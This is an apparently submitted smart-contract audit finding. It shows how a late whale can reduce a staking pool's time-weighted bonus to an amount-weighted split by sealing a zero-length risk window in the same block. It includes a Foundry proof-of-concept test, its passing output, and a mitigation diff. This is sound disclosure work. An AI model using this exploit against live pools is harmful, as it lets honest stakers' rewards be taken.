Root + Impact
Description
The pool is intended to distribute the bonus using the k=2 time-weighted score:
score = amount * (T - entryTime)^2
However, deposits remain allowed in UNDER_ATTACK. A late staker can make the pool first observe UNDER_ATTACK during their large deposit, then permissionlessly call pokeRiskWindow() after the upstream Registry is instant-promoted to PRODUCTION in the same block.
Both boundaries are recorded from block.timestamp, so this produces:
riskWindowStart == riskWindowEnd
All k=2 scores become zero and the pool falls back to a purely amount-weighted split. A late whale can consequently capture nearly the entire bonus without bearing measurable at-risk time.
The Pool Moderator does not need to cooperate in the attack block. The attacker can permissionlessly seal riskWindowEnd, and a later Moderator resolution reuses the already-sealed zero-length window.
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
_observePoolState();
}
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
Risk
Likelihood:
-
The upstream AttackRegistry.instantPromote() explicitly permits UNDER_ATTACK -> PRODUCTION.
-
Transactions in one block share the same block.timestamp.
-
An attacker can arrange their stake before a visible instantPromote transaction and call permissionless pokeRiskWindow() after it in the same block.
-
The Pool Moderator may flag SURVIVED later; same-block Moderator cooperation is unnecessary.
Impact:
-
The attacker can capture nearly all of the bonus pool instead of receiving a negligible k=2 share.
-
Honest stakers who were present before the risk window receive a disproportionately small bonus.
-
Principal is not directly stolen, but the protocol's intended time-weighted reward distribution is bypassed.
For example:
Honest stake: 100
Late stake: 10,000
Bonus: 100
Honest bonus: 100 / 10,100 * 100 ~= 0.990099
Late bonus: 10,000 / 10,100 * 100 ~= 99.009900
The late staker captures more than 99% of the bonus.
Proof of Concept
Add the following test to test/audit/ConfidencePoolSecurityRegression.t.sol:
function test_PoC_SameBlockFallbackLetsLateWhaleCaptureBonus() external {
uint256 honestStake = 100 * ONE;
uint256 whaleStake = 10_000 * ONE;
uint256 bonus = 100 * ONE;
_stake(alice, honestStake);
_contributeBonus(carol, bonus);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
_stake(bob, whaleStake);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.PRODUCTION
);
vm.prank(bob);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), pool.riskWindowEnd());
vm.warp(block.timestamp + 1 days);
vm.prank(moderator);
pool.flagOutcome(
PoolStates.Outcome.SURVIVED,
false,
address(0)
);
assertEq(pool.riskWindowEnd(), pool.outcomeFlaggedAt());
assertLt(pool.outcomeFlaggedAt(), block.timestamp);
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBonus =
token.balanceOf(alice) - aliceBefore - honestStake;
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobBonus =
token.balanceOf(bob) - bobBefore - whaleStake;
assertEq(
bobBonus,
(whaleStake * bonus) / (honestStake + whaleStake)
);
assertGt(bobBonus, (bonus * 99) / 100);
assertLt(aliceBonus, bonus / 100);
}
Run:
forge test --match-test test_PoC_SameBlockFallbackLetsLateWhaleCaptureBonus -vvv
Result:
[PASS] test_PoC_SameBlockFallbackLetsLateWhaleCaptureBonus()
1 passed; 0 failed
Recommended Mitigation
Continue permitting UNDER_ATTACK deposits if desired, but separately account for stake added at or after riskWindowStart. When globalScore == 0, distribute the fallback bonus only among stake that existed before the first active-risk observation.
A possible implementation is:
+ mapping(address => uint256) public postRiskStake;
+ uint256 public totalPostRiskStake;
+ uint256 public snapshotTotalPostRiskStake;
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// Transfer token and calculate received...
eligibleStake[msg.sender] += received;
totalEligibleStake += received;
+ if (riskWindowStart != 0) {
+ postRiskStake[msg.sender] += received;
+ totalPostRiskStake += received;
+ }
}
function _bonusShare(address u, uint256 userEligible)
internal
view
returns (uint256)
{
// ...
if (globalScore == 0) {
- if (snapshotTotalStaked == 0) return 0;
- return Math.mulDiv(
- userEligible,
- snapshotTotalBonus,
- snapshotTotalStaked
- );
+ uint256 fallbackEligible =
+ snapshotTotalStaked - snapshotTotalPostRiskStake;
+ uint256 userFallbackEligible =
+ userEligible - postRiskStake[u];
+
+ if (fallbackEligible == 0 || userFallbackEligible == 0) {
+ return 0;
+ }
+
+ return Math.mulDiv(
+ userFallbackEligible,
+ snapshotTotalBonus,
+ fallbackEligible
+ );
}
}
The implementation must also decrement postRiskStake during pre-risk withdrawals and snapshot totalPostRiskStake at resolution.
The simpler alternative is to reject all new deposits once the Registry reaches UNDER_ATTACK.